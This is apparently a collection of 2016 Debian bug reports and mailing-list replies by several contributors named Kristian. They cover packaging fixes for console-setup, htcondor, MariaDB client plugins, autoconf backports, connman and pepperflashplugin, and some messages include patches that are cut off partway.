Regards Kristian Klausen 

Bug#818065: console-setup is not read correctly at boottime and must be started manually

[Kristian Klausen]

Hello


I have just experienced this issue after "upgrading" (rebuilding) my live image 
to stretch from jessie.


As it is a live-image, every boot is "first boot" as Anton said could give 
issue.


So I looked a bit on the code, and I think the issue is caused by line 11 in 
console-setup (*), the line make so console-setup.sh does nothing at first run 
after boot, and as console-setup.service is only run once per boot, setupcon 
(which configure keyboard layout) is never run.


How did this ever get into testing? :)


* 
https://anonscm.debian.org/cgit/d-i/console-setup.git/tree/init/console-setup.sh?id=85d541bcfe7557caee0e544ac6c547f97174db32#n11



Regards Kristian Klausen

Bug#847115: htcondor: In large ldap environments, there may be more than one condor user, confusing installation script

[kristian kvilekval]

Package: htcondor
Version: 8.2.3~dfsg.1-6
Severity: normal

Dear Maintainer,

We have a large environment where another group has grabbed the name "condor", 
however our local 
machines do have a local user "condor" which should be valid.

For example:
$ getent passwd| fgrep condor
condor:x:1014:1016:Condor User,,,:/cluster/home/condor:/bin/false
condor:x:28947:3011:CSEP Condor:/fs/staff/condor:/bin/false
condor:x:28947:3011:CSEP Condor:/fs/staff/condor:/bin/bash



The line 178 in /var/lib/dpkg/info/htcondor.postinst 
fails do due multiple entries being received while it should probably take just 
the first.


i.e. 

SH=$(getent passwd | egrep '^condor:'| cut -d : -f 7)
should be 
SH=$(getent passwd | egrep '^condor:'| cut -d : -f 7 | head -1)


-- System Information:
Debian Release: 8.6
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages htcondor depends on:
ii  adduser   3.113+nmu3
ii  debconf [debconf-2.0] 1.5.56
ii  libc6 2.19-18+deb8u6
ii  libcgroup10.41-6
ii  libclassad7   8.2.3~dfsg.1-6
ii  libcomerr21.42.12-2
ii  libcurl3  7.38.0-4+deb8u5
ii  libdate-manip-perl6.47-1
ii  libexpat1 2.1.0-6+deb8u3
ii  libgcc1   1:4.9.2-10
ii  libglobus-callout03.13-3
ii  libglobus-common0 15.26-3
ii  libglobus-ftp-client2 8.13-6
ii  libglobus-gass-transfer2  8.8-3
ii  libglobus-gram-client313.10-3
ii  libglobus-gram-protocol3  12.12-3
ii  libglobus-gsi-callback0   5.6-3
ii  libglobus-gsi-cert-utils0 9.10-3
ii  libglobus-gsi-credential1 7.7-3
ii  libglobus-gsi-openssl-error0  3.5-3
ii  libglobus-gsi-proxy-core0 7.7-3
ii  libglobus-gsi-proxy-ssl1  5.7-3
ii  libglobus-gsi-sysconfig1  6.8-3
ii  libglobus-gss-assist3 10.12-3
ii  libglobus-gssapi-error2   5.4-3
ii  libglobus-gssapi-gsi4 11.13-3
ii  libglobus-io3 11.2-1
ii  libglobus-openssl-module0 4.6-3
ii  libglobus-rsl210.9-3
ii  libglobus-xio04.15-3
ii  libgsoap5 2.8.17-1
ii  libgssapi-krb5-2  1.12.1+dfsg-19+deb8u2
ii  libk5crypto3  1.12.1+dfsg-19+deb8u2
ii  libkrb5-3 1.12.1+dfsg-19+deb8u2
ii  libkrb5support0   1.12.1+dfsg-19+deb8u2
ii  libldap-2.4-2 2.4.40+dfsg-1+deb8u2
ii  libltdl7  2.4.2-1.11+b1
ii  libpcre3  2:8.35-3.3+deb8u4
ii  libssl1.0.0   1.0.1t-1+deb8u5
ii  libstdc++64.9.2-10
ii  libuuid1  2.25.2-6
ii  libvirt0  1.2.9-9+deb8u3
ii  libx11-6  2:1.6.2-3
ii  perl  5.20.2-3+deb8u6
ii  python2.7.9-1
ii  zlib1g1:1.2.8.dfsg-2+b1

Versions of packages htcondor recommends:
ii  dmtcp  2.3.1-6

Versions of packages htcondor suggests:
pn  coop-computing-tools  

-- debconf information:
  condor/centralmanager:
  condor/daemons:
  condor/startpolicy: false
  condor/phonehome: false
  condor/filesystemdomain: $(FULL_HOSTNAME)
  condor/uiddomain: $(FULL_HOSTNAME)
  condor/personal: true
  condor/admin: root@localhost
  condor/title:
  condor/reservedmemory:
  condor/allowwrite: $(FULL_HOSTNAME) $(IP_ADDRESS)
* condor/wantdebconf: false

Bug#818107: [Python-apps-team] Bug#818107: The future of DocOnce

[Kristian Gregorius Hustad]

>  - Is the required version of all the packages listed in [1] known?
I assume the most recent versions should work. To my knowledge, there's no 
overview of the exact version required.

>  - Can any of the above mentioned packages be considered optional?
I would say that all the packages mentioned, with the exceptions of publish, 
pygments-ipython-console and pygments-doconce, could be considered optional.

> - Is any of the aforementioned projects packaged under a non-obvious name?
Not that I know of

> - Particularly, is the ipython pygment lexer contained in some 
> ipython/jupyter package?
It's just a wrapper around the lexer included with IPython, so I don't think so.


Kristian

From: Klaus Zimmermann <klaus_zimmerm...@gmx.de>
Sent: 23 November 2016 12:16
To: Francesco Poli; 818...@bugs.debian.org; Kristian Gregorius Hustad
Subject: Re: [Python-apps-team] Bug#818107: The future of DocOnce

Hi,

this looks like an interesting project indeed.
As a first step I went through the list of dependencies that Kristian provided.
The situation might not be so grim.
Unfortunately, there is no information about the actually required versions,
but for a number of packages a manual update over the available distribution
version seems to have been necessary.
For now I just collected those packages, that are not available in Debian
at all. If version bumps for existing packages turn out to be necessary,
let's deal with that later.

The list is:
 Publish:
 - pip install -e hg+https://bitbucket.org/logg/publish#egg=publish
 Sphinx themes:
 - pip install -e 
hg+https://bitbucket.org/miiton/sphinxjp.themes.solarized#egg=sphinxjp.themes.solarized
 - pip install -e 
git+https://github.com/shkumagai/sphinxjp.themes.impressjs#egg=sphinxjp.themes.impressjs
 - pip install -e 
git+https://github.com/kriskda/sphinx-sagecell#egg=sphinx-sagecell
 Runestone:
  - pip install sphinxcontrib-paverutils
  - pip install cogapp
  - pip install -e 
git+https://bitbucket.org/hplbit/pygments-ipython-console#egg=pygments-ipython-console
  - pip install -e 
git+https://github.com/hplgit/pygments-doconce#egg=pygments-doconce

Questions:
Kristian:
 - Is the required version of all the packages listed in [1] known?
 - Can any of the above mentioned packages be considered optional?

Anyone:
 - Is any of the aforementioned projects packaged under a non-obvious name?
 - Particularly, is the ipython pygment lexer contained in some ipython/jupyter 
package?


Cheers
Klaus



[1] 
https://github.com/hplgit/doconce/blob/master/doc/src/manual/debpkg_doconce.txt


On 07/11/2016 21:57, Francesco Poli wrote:
> On Mon, 7 Nov 2016 17:03:07 + Kristian Gregorius Hustad wrote:
>
>> Version 1.0.0 is now listed at https://github.com/hplgit/doconce/releases
>
> That's awesome, thanks a lot!   :-)
>
> Now I hope the Debian Python Applications Packaging Team will consider
> packaging it...
>
>
>
> ___
> Python-apps-team mailing list
> python-apps-t...@lists.alioth.debian.org
> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/python-apps-team
>

Bug#843844: [debian-mysql] Bug#843844: Potentially missing files from mariadb-10.0 packages

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> - example configs are outdated anyway, probably no point including them at all

Sounds reasonable.

> - mytop maybe?

There is a separate `mytop' package in Debian, so probably not. I remember
previous discussions about this. If something is missing in upstream mytop
that is in the MariaDB source tree, then maybe those enhancements should go
upstream.

 - Kristian.

Bug#842454: [debian-mysql] Bug#842454: Bug#842454: default-libmysqlclient-dev is unsatisfiable for cross builds

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> 2016-10-30 1:45 GMT+03:00 Kristian Nielsen <kniel...@knielsen-hq.org>:

>> Maybe something like this is needed on the cmake command?
>>
>>   -DINSTALL_PLUGINDIR=/usr/lib/x86_64-linux-gnu/mysql/lib18/plugin

>> (This build option seems to be shared between the server plugins and the
>> client plugins, which seems a bit of a mess, and might require a separate
>> build for the server package and the client library package - but maybe that
>> is already the case anyway?)
>
> I tried this avenue but indeed the PLUGINDIR parameter then also
> changes where all the server plugins (TokuDB, Spider etc) are
> installed, so that is not an option.
>
> Can you Kristian help us introduce in the makefiles a new parameter
> CLIENTPLUGINDIR?

Something like the attached patch could work.

But what is the problem with putting the server plugins into an
arch-dependent location as well? I discussed this briefly with Serg on IRC,
he also suggested that. It seems simpler if all the plugins are in the same
place, and there does not seem to be any harm in having server plugins with
arch-dependent paths as well.

> Or what if we keep the PLUGINDIR=lib/mysql/plugin but then in a later
> stage in the rules file move the two client plugins?
>   mv lib/mysql/plugin/dialog.so  
> lib/$(DEB_HOST_MULTIARCH)/mariadb-lib18/plugin
>   mv lib/mysql/plugin/mysql_clear_password.so
> lib/$(DEB_HOST_MULTIARCH)/mariadb-lib18/plugin

The CMake option is not so much about where `make install` puts the files,
but about where the server and client library looks to find the plugins at
runtime. Otherwise we would need --plugindir options in my.cnf.

> (For reference, in mariadb-connector-c shared libs are built with
> 'dh_makeshlibs -X/mariadb/plugin/' and installed to
> usr/lib/*/mariadb/plugin/*.so, and it has 'Multi-Arch: same' - see
> https://anonscm.debian.org/cgit/pkg-mysql/mariadb-client-lgpl.git/tree/debian)

So with usr/lib/*/ you mean for example usr/lib/x86_64-linux-gnu/, right?

Seems just one more reason to do the same for the client library built from
the 10.0 server sources. Wouldn't just doing this solve the problem?

I did not so far get a definite answer as to whether client plugins are
compatible with all major library versions or just the one they were built
against. Since MariaDB never changed the major library version so far, it
may not have a meaningful answer defined. But again, it seems safe enough to
just include the major version number in the plugin path. It does not hurt,
it satisfies Debian policy, and it makes things simpler if in the future a
major version .so bump happens.

 - Kristian.

commit 9abe77a3c268d804ac99498f62e47d6467eaf08f (cmake_install_clientplugindir)
Author: Kristian Nielsen <kniel...@knielsen-hq.org>
Date:   Thu Nov 10 09:44:04 2016 +0100

Add CMake -DINSTALL_CLIENTPLUGINDIR option for cmake.

Idea is to be able to specify a separate location for client plugins
than for server plugins.

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 0adbb85..b4f88ba 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -318,6 +318,10 @@ ELSE()
 ENDIF()
 SET(DEFAULT_CHARSET_HOME "${DEFAULT_MYSQL_HOME}")
 SET(PLUGINDIR "${DEFAULT_MYSQL_HOME}/${INSTALL_PLUGINDIR}")
+SET(INSTALL_CLIENTPLUGINDIR "${INSTALL_PLUGINDIR}"
+  CACHE STRING "CLIENTPLUGINDIR installation directory")
+MARK_AS_ADVANCED(INSTALL_CLIENTPLUGINDIR)
+SET(CLIENTPLUGINDIR "${DEFAULT_MYSQL_HOME}/${INSTALL_CLIENTPLUGINDIR}")
 IF(INSTALL_SYSCONFDIR AND NOT DEFAULT_SYSCONFDIR)
   SET(DEFAULT_SYSCONFDIR "${INSTALL_SYSCONFDIR}")
 ENDIF()
diff --git a/cmake/plugin.cmake b/cmake/plugin.cmake
index e1d2af2..27e9ec9 100644
--- a/cmake/plugin.cmake
+++ b/cmake/plugin.cmake
@@ -30,7 +30,7 @@ INCLUDE(${MYSQL_CMAKE_SCRIPT_DIR}/cmake_parse_arguments.cmake)
 MACRO(MYSQL_ADD_PLUGIN)
   MYSQL_PARSE_ARGUMENTS(ARG
 "LINK_LIBRARIES;DEPENDENCIES;MODULE_OUTPUT_NAME;STATIC_OUTPUT_NAME;COMPONENT;CONFIG"
-"STORAGE_ENGINE;STATIC_ONLY;MODULE_ONLY;MANDATORY;DEFAULT;DISABLED;RECOMPILE_FOR_EMBEDDED"
+"STORAGE_ENGINE;STATIC_ONLY;MODULE_ONLY;MANDATORY;DEFAULT;DISABLED;RECOMPILE_FOR_EMBEDDED;CLIENTPLUGIN"
 ${ARGN}
   )
   
@@ -214,8 +214,13 @@ MACRO(MYSQL_ADD_PLUGIN)
 ELSE()
   SET(ARG_COMPONENT Server)
 ENDIF()
-MYSQL_INSTALL_TARGETS(${target} DESTINATION ${INSTALL_PLUGINDIR} COMPONENT ${ARG_COMPONENT})
-#INSTALL_DEBUG_TARGET(${target} DESTINATION ${INSTALL_PLUGINDIR}/debug COMPONENT ${ARG_COMPONENT})
+IF(ARG_CLIENTPLUGIN)
+  SET(PLUGIN_DESTINATION "${INSTALL_CLIENTPLUGINDIR}")
+ELSE()
+  SET(PLUGIN_DESTINATION "${INSTALL_PLUGINDIR}")
+ENDIF()
+MYSQL_INSTALL_TARGETS(${target} DESTINATION ${PLUGIN_DESTINATION} COMPONENT ${ARG_COMPONENT})
+#I

Bug#842641: Sv: Bug#842641: RFS: autoconf/2.69-10~bpo8+1

[Kristian Klausen]

Hi G

> Kristian, are you happy with that?
> You set yourself as uploader for the backport, so I take the answer as "yes"
> (and the upload will show under my ddpo account, so I'll see probably issues 
Yes that is correct.

Kristian

Fra: Gianfranco Costamagna <locutusofb...@debian.org>
Sendt: 31. oktober 2016 16:56
Til: Ben Pfaff; Alexander Wirt; 842...@bugs.debian.org
Cc: pfaff...@debian.org; klausenb...@hotmail.com
Emne: Re: Bug#842641: RFS: autoconf/2.69-10~bpo8+1
    
Hi Alex, Ben, Kristian


>Gianfranco, are you planning to take responsibility for uploading this
>as it changes in Debian proper?  It is probably not a big
>responsibility, because autoconf changes rarely.  I'm willing to sponsor

>the uploads.

I would prefer Kristian to take care of this, but yeah, I'm planning
to help/sponsor him for jessie lifespan, since I'm interested in connman
backports, and meh, we are talking about one/two uploads each year :)

Kristian, are you happy with that?
You set yourself as uploader for the backport, so I take the answer as "yes"
(and the upload will show under my ddpo account, so I'll see probably issues 

too here)

BTW Ben if you want to take care for the backport by yourself, I'm happy to 
cancel
or give you the task :)

Gianfranco

Bug#842641: RFS: autoconf/2.69-10~bpo8+1

[Kristian Klausen]

Package: sponsorship-requests
Severity: normal

Dear mentors,

I am looking for a sponsor for my package "autoconf".
Some packages depends on the new --runstatedir option which was added in 2.69-9,
before they can be built for jessie-backports. Ex connman.
Is this request okay with you Ben, or do you want to handle it?


 * Package name    : autoconf
 Version : 2.69-10~bpo8+1
 Upstream Author : autoc...@gnu.org
 * URL : https://www.gnu.org/software/autoconf/autoconf.html
 * License : GPL-3+
 Section : devel

It builds those binary packages:

  autoconf   - automatic configure script builder
 autoconf-doc - automatic configure script builder documentation

To access further information about this package, please visit the following 
URL:

https://mentors.debian.net/package/autoconf

Alternatively, one can download the package with dget using this command:

  dget -x 
https://mentors.debian.net/debian/pool/main/a/autoconf/autoconf_2.69-10~bpo8+1.dsc

More information about hello can be obtained from 
https://www.gnu.org/software/autoconf/autoconf.html

Changes since the last upload:


autoconf (2.69-10~bpo8+1) jessie-backports; urgency=medium

  * Rebuild for jessie-backports.

 -- Kristian Klausen <klausenb...@hotmail.com>  Sun, 30 Oct 2016 22:40:42 +0000


Regards,
 Kristian Klausen

Bug#818107: The future of DocOnce

[Kristian Gregorius Hustad]

Hello,

I think the main reason why the Debian packages haven't been kept up to date is 
in part that the list of dependencies have become very large and complex. Some 
of the dependencies are installed from PIP or even cloned from git (the full 
list can be found at 
https://github.com/hplgit/doconce/blob/master/doc/src/manual/debpkg_doconce.txt).
 

Additionally, until recently, DocOnce was developed solely by its original 
creator, Hans Petter Langtangen (hereafter referred to as HPL), so improvements 
and fixes have just been released continuously to the master branch.

I have thought about having a release branch and tagging releases, but I 
haven't gotten around to do it yet. 

I hope to be able to find the time to maintain DocOnce, but I'm afraid I won't 
be able to develop it at the same pace as HPL. Hopefully, there will be more 
contributors in the future.


Kristian

Bug#842454: [debian-mysql] Bug#842454: Bug#842454: default-libmysqlclient-dev is unsatisfiable for cross builds

[Kristian Nielsen]

Helmut Grohne <hel...@subdivi.de> writes:

> | dpkg: error processing archive 
> /tmp/apt-dpkg-install-qGtx4F/3-libmariadbclient18_10.0.27-2_i386.deb 
> (--unpack):
> |  trying to overwrite shared '/usr/lib/mysql/plugin/dialog.so', which is 
> different from other instances of package libmariadbclient18:i386

> The presence of Multi-Arch: same indicates that the package can be
> unpacked multiple times for different architectures at the same time.
> Their files may overlap if and only if the content is equal for
> overlapping files. Unfortunately, that's not the case for
> /usr/lib/mysql/plugin/dialog.so, so Multi-Arch: same is wrong here.

> I have no clue what these plugins are about and why they reside in
> libmariadbclient18. So cannot provide a patch here. To fix this

So these are authentication plugins for the client library. The server can
be configured to use different authentication methods (pam, two-factor,
whatever). An authentication method can require a plugin to be available on
the client side, and it will be loaded by the client library if available.

I guess it might be similar to nss plugins for glibc? But they seem to be
named with the libc version number, like on my jessie system:

-rw-r--r-- 1 root root 22100 Sep  5 08:22 
/lib/i386-linux-gnu/i686/cmov/libnss_dns-2.19.so
lrwxrwxrwx 1 root root18 Sep  5 08:22 
/lib/i386-linux-gnu/i686/cmov/libnss_dns.so.2 -> libnss_dns-2.19.so

Clearly, these libmariadb plugins need to have an arch-dependent path. I
suppose they also need a path that includes the major .so version number of
the libmariadbclient.

Maybe something like this is needed on the cmake command?

  -DINSTALL_PLUGINDIR=/usr/lib/x86_64-linux-gnu/mysql/lib18/plugin

That build option seems to be what determines where the client library will
look for its plugin.

(This build option seems to be shared between the server plugins and the
client plugins, which seems a bit of a mess, and might require a separate
build for the server package and the client library package - but maybe that
is already the case anyway?)

> In any case, the presence of these plugins violates the Debian policy
> section 8.2:
>
> | If your package contains files whose names do not change with each
> | change in the library shared object version, you must not put them in
> | the shared library package.

Presumably, it is enough that the full path name is different? So that
putting the shared object version in the directory path is sufficient? I do
not think the client library currently supports loading of modules with a
different name, eg. dialog-18.so or dialog.so.18.

Alternatively, I suppose these plugins should be put into a separate
libmariadb-plugins package or something (but they would still need an
arch-dependent path for multilib support).

Hope this helps,

 - Kristian.

Bug#838914: [debian-mysql] Bug#838914: mariadb-10.0: testsuite failures on mips/mipsel

[Kristian Nielsen]

FYI,

James Cowgill <jcowg...@debian.org> writes:

> mips-machine.patch
> Fix the value of DEFAULT_MACHINE on 32-bit mips platforms.

I've upstreamed this patch, it should appear in MariaDB 10.0.28.

> mips-groonga-atomic.patch
> Link groonga against libatomic as it uses 64-bit atomic operations not
> supported on mips without that helper library.
>
> mips-connect-unaligned.patch
> This is a rather large patch attempting to fix some unaligned memory
> accesses in the CONNECT storage engine which cause bus errors on mips
> (and probably other platforms which prohibit unaligned memory access).

Mroonga and CONNECT are storage engines that I think are developed
independently from MariaDB - ie. MariaDB is not the real upstream. So I've
sent mails on the maria-developers@ list with the patches, asking how these
can be properly upstreamed.

  https://lists.launchpad.net/maria-developers/msg10020.html
  https://lists.launchpad.net/maria-developers/msg10021.html
  
> mips-unstable-tests.patch
> Remove various tests from mysql-test/unstable-tests which now pass on mips.
>
> debian-mips-unstable-tests.patch
> Updates debian/unstable-tests.mips*
> I've added the 'connect.mysql_index' test to the mipsel unstable tests.
> It seems to fail sporadically on mipsel. It usually takes about 5
> retries to fail, but sometimes less. I'm not sure what the cause is here.

I chose not to upstream these two. I'm frankly not too impressed with these
"unstable-tests". Anyway, I think it's fine to carry these patches
separately in Debian for now.

Hope this helps,

 - Kristian.

Bug#838557: [debian-mysql] Bug#838557: mariadb-10.0: FTBFS on mips64el

[Kristian Nielsen]

James Cowgill <jcowg...@debian.org> writes:

>>> Currently mariadb-10.0 FTBFS on mips64el due to various testsuite
>>> failures. The two attached patches should resolve this. I am also

>>> mips-errno-enotempty.patch
>>> On mips* architectures, ENOTEMPTY == 93 which wasn't handled by two test
>>> cases.
>>>
>>> mips64-taocrypt-integer.patch
>>> The previous patch to fix mips64el made the package build, but was
>>> unfortunately completely wrong. I've replaced the code with a generic
>>> implementation using GCC's __int128. It could probably be generalized to
>>> other arches, but I didn't want to break anything.

FYI, I've now upstreamed these two patches. They should appear in 10.0.28.

Thanks!

 - Kristian.

Bug#839871: Connman not working with some routers due to not following RFC.

[Kristian Klausen]

Package: connman
Version: 1.32-0.1
Severity: important


Hello


Connman 1.32 doesn't follow the RFC regarding the order of some dhcp options.

This result in Connman not working with some routers/dhcp server, for example 
the D-Link DSR-1000.

It took me some hours to figure that out, and my patch was upstreamed today.

Could this be cherry-picked? 
https://git.kernel.org/cgit/network/connman/connman.git/commit/?id=fee1e4fec7a78480e5a4d7b8c5d43e679c148829

So we/I don't need to wait for Conman 1.34.


- Kristian Klausen

Bug#833741: Sv: Bug#833741: pepperflashplugin-nonfree: Feature request?: Download from Adobe instead of Google.

[Kristian Klausen]

Hello


I have created a patch while implement this (see attachment).

This should also fix that it break 
(https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=839543), every time Google 
change something regarding the Chrome apt repository.


- Kristian Klausen



Fra: Bart Martens <ba...@debian.org>
Sendt: 8. august 2016 18:48
Til: James C; 833...@bugs.debian.org
Emne: Bug#833741: pepperflashplugin-nonfree: Feature request?: Download from 
Adobe instead of Google.

On Mon, Aug 08, 2016 at 11:11:57PM +1200, James C wrote:
> Package: pepperflashplugin-nonfree
> Version: 1.8.1
> Severity: wishlist
>
> Dear Maintainer,
>
> Apparently Adobe now has Pepper Flash available for download from their site.
> This is just Pepper Flash, not the whole Chrome browser.
> Also, an update to the 32-bit version seems to be available.
> See:
> http://forum.mepiscommunity.org/viewtopic.php?t=40254

Indeed.

>
> (This was mentioned in the discussion for #831058,
> but I think it deserves a new bug report.)

I agree, thanks.

>
> I'm not sure if this counts as a bug, so I've marked it wishlist,

Perfect.

> but if it was possible to switch to downloading from the Adobe site,
> it would speed up the download, and make the 32-bit version available again.

Yes, I'm considering that.

Regards,

Bart Martens

--- a/update-pepperflashplugin-nonfree	2016-10-02 16:05:04.678209065 +0200
+++ b/update-pepperflashplugin-nonfree	2016-10-02 16:48:31.644832357 +0200
@@ -30,7 +30,7 @@
 	exit 1
 }
 
-[ `id -u` = "0" ] || die_hard "must be root"
+[ "$(id -u)" = "0" ] || die_hard "must be root"
 
 show_usage() {
 	echo "Usage:"
@@ -43,18 +43,15 @@
 	exit 1
 }
 
-getopt_temp=`getopt -o iusfvq --long install,uninstall,status,fast,verbose,quiet,beta,unstable,unverified \
-	-n 'update-pepperflashplugin-nonfree' -- "$@"` || show_usage
+getopt_temp="$(getopt -o iusfvq --long install,uninstall,status,verbose,quiet \
+	-n 'update-pepperflashplugin-nonfree' -- "$@")" || show_usage
 eval set -- "$getopt_temp" || show_usage
 
 ACTION=none
-fast=no
 verbose=no
 quiet=no
-variant=stable
-verified=yes
 
-while [ true ]
+while true
 do
 	case "$1" in
 		-i|--install)
@@ -69,10 +66,6 @@
 			ACTION="--status"
 			shift
 			;;
-		-f|--fast)
-			fast=yes
-			shift
-			;;
 		-v|--verbose)
 			verbose=yes
 			shift
@@ -81,18 +74,6 @@
 			quiet=yes
 			shift
 			;;
-		--beta)
-			variant=beta
-			shift
-			;;
-		--unstable)
-			variant=unstable
-			shift
-			;;
-		--unverified)
-			verified=no
-			shift
-			;;
 		--)
 			shift
 			break
@@ -104,111 +85,31 @@
 	esac
 done
 
-[ "$ACTION" != "none" -a $# -eq 0 ] || show_usage
+([ "$ACTION" != "none" ] && [ $# -eq 0 ]) || show_usage
 [ "$quiet" != "yes" ] || verbose=no
 
 [ "$verbose" != "yes" ] || echo "options : $getopt_temp"
 
-latestfile=latest-$variant-verified.txt
-[ "$verified" != "no" ] || latestfile=latest-$variant.txt
-
-UNPACKDIR=`mktemp -d /tmp/pepperflashplugin-nonfree.XX` || die_hard "mktemp failed"
-echo "$UNPACKDIR" | grep -q "^/tmp/pepperflashplugin-nonfree\." || die_hard "paranoia"
-cd "$UNPACKDIR" || die_hard "cd failed"
-
-[ "$verbose" != "yes" ] || echo "temporary directory: $UNPACKDIR"
-
-do_cleanup() {
-	[ "$verbose" != "yes" ] || echo "cleaning up temporary directory $UNPACKDIR ..."
-	cd /
-	echo "$UNPACKDIR" | grep -q "^/tmp/pepperflashplugin-nonfree\." || die_hard "paranoia"
-	rm -rf "$UNPACKDIR"
-}
-
 die_hard_with_a_cleanup() {
 	return_0
-	do_cleanup
 	die_hard "$1"
 }
 
 trap "die_hard_with_a_cleanup interrupted" INT
 
-cachedir=/var/cache/pepperflashplugin-nonfree
-
-wgetquiet=' -q '
-wgetfast='-t 3 -T 15 '
-wgetalways=' -nd -P . '
-wgetprogress=' -v --progress=dot:default '
-
-if [ "$ACTION" = "--install" -o "$ACTION" = "--status" ]
+if [ "$ACTION" = "--install" ] || [ "$ACTION" = "--status" ]
 then
-	installed=`strings /usr/lib/pepperflashplugin-nonfree/libpepflashplayer.so 2> /dev/null | grep LNX | cut -d ' ' -f 2 | sed -e "s/,/./g"`
-
-	[ ! -f $cachedir/$latestfile ] || [ `wc -l $cachedir/$latestfile | cut -f 1 -d ' '` -eq 2 ] || rm $cachedir/$latestfile
-
-	if [ -f $cachedir/$latestfile ]
-	then
-		chromeversion=`head -n 1 $cachedir/$latestfile`
-		flashversion=`tail -n 1 $cachedir/$latestfile`
+	arch=""
+	if [ "$(dpkg --print-architecture)" = "amd64" ]; then
+		arch="x86-64"
+	elif [ "$(dpkg --print-architecture)" = "i386" 

Bug#837369: [debian-mysql] Bug#837369: mariadb-10.0: FTBFS on hppa

[Kristian Nielsen]

John David Anglin <dave.ang...@bell.net> writes:

> The build fails because the following two tests fail:
> rpl.rpl_drop_db binlog.binlog_database

> These two tests fail because the error number for ENOTEMPTY is 247 on hppa:
> dave@mx3210:/usr/include$ find . -name errno.h|xargs grep 247
> ./diet/errno.h:#defineENOTEMPTY   247 /* Directory not empty 
> */
> ./hppa-linux-gnu/asm/errno.h:#define  ENOTEMPTY   247 /* Directory 
> not empty */

> Either these two tests need to skipped on hppa or the result comparison needs
> to be adjusted for different ENOTEMPTY values.

Ok. I pushed upstream a patch for this (there were already a similar
workaround for other values, presumably for other platforms).

The patch is here if you want to get this fixed immediately, or it should be
fixed with the next upstream release (hopefully, I haven't got a platform to
test this on, but the patch is simple so it should work):

  http://lists.askmonty.org/pipermail/commits/2016-September/009848.html

Hope this helps,

 - Kristian.

Bug#809022: [debian-mysql] Bug#809022: Bug#809022: Bug#809022: autopkgtest patch for MariaDB

[Kristian Nielsen]

Kristian Nielsen <kniel...@knielsen-hq.org> writes:

> And I'll see if I can fix mysql-test-run.pl upstream to not need '.' in
> @INC. Otherwise, this problem will probably show up in other places sooner
> or later...

I've now pushed to upstream 10.0 a patch so that mysql-test-run works also
without '.' in @INC. So it will appear in an upcoming release.

Otto, so this problem will be solved with the next upstream release
(assuming my understanding is correct, but Paul's analysis seemed very
plausible). And if you want the ci.debian.net failures fixed before then,
you can take my patch for debian/tests/upstream, which should also fix the
problem.

 - Kristian.

Bug#809022: [debian-mysql] Bug#809022: Bug#809022: autopkgtest patch for MariaDB

[Kristian Nielsen]

Paul Gevers <elb...@debian.org> writes:

> I rather expect in the tool-chain. Has anybody seen the recent change in
> Perl? Your remarks about including ./ in the Perl path sounds exactly
> like the change that was recently made:
>
> https://lists.debian.org/debian-devel-announce/2016/08/msg00013.html

Oh, nice find. So then it seems it _is_ only the missing '.' in @INC.

In that case, either of my two proposed patches should work to solve the
problem (and there is no need for the -U in the second patch).
Otto, I'd suggest committing the second patch, adding `perl -I.` on the
command line to run the test (you can omit the -U). This should be quite
safe, and it sounds like it will fix the problem.

And I'll see if I can fix mysql-test-run.pl upstream to not need '.' in
@INC. Otherwise, this problem will probably show up in other places sooner
or later...

> Indeed, and you can even run it on your own system (which I also since
> recently do) by installing autopkgtest.
>
> adt-run --user debci --output-dir /tmp/output-dir ./ --shell-fail
> --apt-upgrade --- lxc --sudo adt-sid-amd64
>
> runs the test-suite in the current (./) package directory and gives you

Ok, cool, I thought I'd need eg. some kind of virtual/container image and/or
a system running unstable

Thanks,

 - Kristian.

Bug#809022: [debian-mysql] Bug#809022: Bug#809022: autopkgtest patch for MariaDB

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> 2016-09-09 23:04 GMT+03:00 Kristian Nielsen <kniel...@knielsen-hq.org>:
>> ci.debian.net, maybe the docs have something, I can try looking. How is this
>> configured, is everything in the debian packaging, read by autopkgtest?
>
> I am not an expert on autopkgtest. This was implemented by Paul Gevers
> in commit
> https://anonscm.debian.org/cgit/pkg-mysql/mariadb-10.0.git/commit/?id=b9d1c10300db04f273a161cbea1838211f4dea9f

Ok. So autopkgtest looks in the .deb packaging, and in this case runs
debian/tests/upstream in a suitable virtualisation container, IIUC.

And from the log, it uses lxc --sudo. So there might be some UID magic going
on.

Note that the corresponding mysql-5.6 tests (on which Paul based his
implementation, I think) also started to fail the same way, so perhaps
something changed on the test infrastructure:

  
https://ci.debian.net/data/packages/unstable/amd64/m/mysql-5.6/20160909_161743.autopkgtest.log.gz

Maybe you can try this patch? It only touches the test part of the
packaging. The idea is to run the test suite under perl -U, which disables
the errors from taint mode. If taint mode is indeed the issue here, it might
fix the problem; if not, we might at least learn more about what the problem
is, then.

---
diff --git a/debian/tests/upstream b/debian/tests/upstream
index 6addb3b..70f928c 100644
--- a/debian/tests/upstream
+++ b/debian/tests/upstream
@@ -29,7 +29,7 @@ EOF
 
 cd /usr/share/mysql/mysql-test
 echo "starting mysql-test-tun.pl..."
-./mysql-test-run.pl --suite=main --vardir=$WORKDIR/var --tmpdir=$WORKDIR/tmp \
+perl -I. -U ./mysql-test-run.pl --suite=main --vardir=$WORKDIR/var 
--tmpdir=$WORKDIR/tmp \
 --skip-ndbcluster --parallel=auto --skip-rpl \
 --force --skip-test-list=$SKIP_TEST_LST $@ 2>&1
 echo "run: OK"
---

Unfortunately, I don't have an environment set up that allows me to test,
but the patch should be simple enough to hopefully work as-is. It adds the
missing current-directory to @INC with -I., and disables taint errors (which
will occur in taint mode once the @INC problem is fixed) with -U.

Hope this helps,

 - Kristian.

Bug#809022: [debian-mysql] Bug#809022: Bug#809022: autopkgtest patch for MariaDB

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> Thank you very much Kristian for looking into this and producing a
> potential fix. Unfortunately I don't have any environment where I
> could test it, and I am a bit reluctant to apply the patch and test it
